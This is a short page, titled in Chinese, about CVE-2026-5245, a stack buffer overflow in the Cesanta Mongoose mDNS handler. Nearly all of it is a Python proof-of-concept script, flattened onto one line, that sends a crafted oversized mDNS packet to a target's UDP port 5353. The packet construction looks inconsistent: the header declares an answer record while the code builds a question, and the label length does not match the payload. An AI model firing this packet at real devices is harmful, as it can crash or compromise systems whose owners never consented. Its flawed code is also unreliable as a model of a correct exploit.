CVE-2026-5245 Cesanta Mongoose栈缓冲区溢出漏洞

import socket import struct # PoC for CVE-2026-5245: Cesanta Mongoose Stack Buffer Overflow # This script sends a crafted mDNS packet to trigger the overflow in handle_mdns_record. target_ip = "192.168.1.100" # Replace with target IP target_port = 5353 # Craft a malicious mDNS payload # The vulnerability is in handling the 'buf' argument. # Sending an oversized record to trigger stack overflow. payload = b'\x00' * 500 # Excessive buffer size # Construct a basic UDP packet structure for mDNS # Header: Transaction ID, Flags, QDCOUNT, ANCOUNT, NSCOUNT, ARCOUNT header = struct.pack('!HHHHHH', 0x0000, 0x8400, 0, 1, 0, 0) # Question section (malformed to trigger parsing issues) question = b'\x0b' + payload + b'\x00\x00\x01\x00\x01' packet = header + question try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, target_port)) print(f"[+] PoC packet sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[-] Error: {e}")